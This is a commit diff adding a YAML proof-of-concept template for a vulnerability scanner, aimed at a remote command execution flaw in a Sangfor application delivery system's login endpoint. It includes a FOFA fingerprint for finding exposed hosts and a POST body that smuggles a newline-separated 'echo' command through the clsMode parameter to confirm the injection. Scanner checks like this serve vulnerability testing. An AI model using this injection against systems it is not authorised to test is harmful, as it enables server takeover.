feat: expand internal network poc coverage

webscan/pocs/sangfor-login-rce.yaml

@@ -0,0 +1,26 @@
+id: sangfor-login-rce
+
+info:
+  name: 深信服 应用交付管理系统 login 远程命令执行漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |
+    深信服 应用交付管理系统 login 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，执行任意命令
+    FOFA: fid="iaytNA57019/kADk8Nev7g=="
+  reference:
+    - https://peiqi.wgpsec.org/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20login%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
+  tags: sangfor,rce
+  created: 2023/08/09
+
+set:
+  r1: randomLowercase(30)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /rep/login
+      body: |
+        clsMode=cls_mode_login%0Aecho+{{r1}}%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123
+    expression: response.status == 200 && response.body.bcontains(bytes(r1)) && response.body.bcontains(b'cluster_mode_other')
+expression: r0()